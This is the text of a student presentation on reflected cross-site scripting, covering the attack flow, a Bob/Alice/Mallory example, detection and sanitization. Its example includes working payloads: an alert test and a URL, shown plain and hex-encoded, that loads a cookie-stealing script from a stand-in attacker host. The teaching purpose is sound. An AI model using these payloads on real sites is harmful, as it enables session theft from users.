CSCE 548 Student Presentation Ryan Labrador XSS (Type 1) CSCE 548 Student Presentation Ryan Labrador

Technical Overview Reflected XSS Non-Persistent XSS Most frequent type of XSS1 A simple XSS attack involves three parties: the website, the victim and the attacker. The Type 1 XSS vulnerability is also known as Reflected XSS because of how the user input is immediately returned (or reflected) back to the user by the web application in some form of response (e.g. error message, search result). Type 1 XSS is also known as Non-persistent XSS because the injected attack is not saved on the server or within web application. 1 https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)

Technical Overview The attacker finds a vulnerable website. The attacker crafts a malicious URL exploiting the vulnerability. Through social engineering, the attacker convinces the victim to click the malicious URL. The website sends invalidated input sent through the request back to the victim. The malicious code is executed using the victim’s browser. Websites vulnerable to Type 1 XSS attacks, like previously stated, return the user input without it being made safe to render in the browser.

Technical Overview The key to pulling off a successful XSS attack: Social engineering Making the link look safe http://google.com?q=<script%20type='text/javascript'>alert('xss') ;</script> vs. http://tinyurl.com/5bseqw Social engineering: convincing someone to click the link is the hardest part. To accomplish this, the attacker can either make the link appear harmless keeping the same familiar name or by covering up the URL completely using a shorthand URL creation service (like tinyURL or Google)

Example3 Three actors: Bob, Alice, and Mallory. Bob hosts a website that sells goods. Alice has an account on Bob’s website and buys from there frequently. When Alice is logged in, her browser keeps an Authorization Cookie so both her (the client) and the server remember she’s logged in. 3 https://en.wikipedia.org/wiki/Cross-site_scripting

Example3 Mallory discovers that Bob’s website has a XSS (type 1) vulnerability. While using the search page, she searches for puppies. Since Bob’s site doesn’t sell puppies, the following page displays “puppies not found.” The URL looks like: http://bobssite.org?q=puppies This is normal behavior. 3 https://en.wikipedia.org/wiki/Cross-site_scripting

Example3 Mallory uses a script for a search term to confirm her findings. <scripttype='text/javascript'>alert('xss');</script> This results in a page that displays: “<scripttype='text/javascript'>alert('xss');</script> not found” as well as an alert box that says “xss.” The URL is: http://bobssite.org?q=<script%20type='text/javascript'>alert('xss');</script> This is exploitable behavior. 3 https://en.wikipedia.org/wiki/Cross-site_scripting

Example3 Mallory makes a URL to exploit the vulnerability: http://bobssite.org?q=puppies<script%20src="http://mallorysevilsite.co m/authstealer.js"></script> In order to better hide the script, Mallory converts the ASCII characters into hexadecimal format: http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallo rysevilsite.com%2Fauthstealer.js%22%3E She sends an e-mail to members of Bob’s site, saying “Check out some cute puppies!” 3 https://en.wikipedia.org/wiki/Cross-site_scripting

Example3 Alice gets the email. Alice loves puppies, so she clicks on the link. The link takes her to Bob’s site and searches for puppies. Since the search comes up empty, it displays “puppies not found” while the script tag runs quietly in the background. Mallory’s script loads and runs a program authstealer.js. Authstealer.js takes a copy of Alice’s Authorization Cookie and now Mallory can log in appearing to be Alice! 3 https://en.wikipedia.org/wiki/Cross-site_scripting

Detection Methods (Overview) The simplest way to test for XSS vulnerabilities (given by the book) is to make a request using malicious code for all the possible input parameters.2 If any data you entered gets returned in the raw HTML byte stream, you may have XSS issues in your code. 2 24 Deadly Sins of Software Security

Detection Methods (In-depth) Black Box Testing1 Detect input vectors. Analyze each input vector to detect potential vulnerabilities. Analyze the result and determine if the vulnerability has a realistic impact on the web application’s security. OWASP.org has a three phase black-box test that will help detect common XSS (type 1) vulnerabilities. E.g., HTTP parameters, POST data, hidden form field values, predefined radio or selection values. Adding harmless input data to trigger responses alerting the tester of a possible vulnerability. Any test input found in the returning webpage should have all special characters properly encoded, replaced, or filtered out. 1 https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)

Avoidance of Error Server vs. Client Server Client Sanitize search input (whitelist/blacklist) Redirect invalid requests Client Be aware of what you’re doing and what you’re clicking on HTML sanitization: the process of examining an HTML document and producing a new HTML document that preserves only whatever tags are designated "safe" and desired.

References https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG- INPVAL-001) 24 Deadly Sins of Software Security https://en.wikipedia.org/wiki/Cross-site_scripting http://www.acunetix.com/websitesecurity/cross-site-scripting/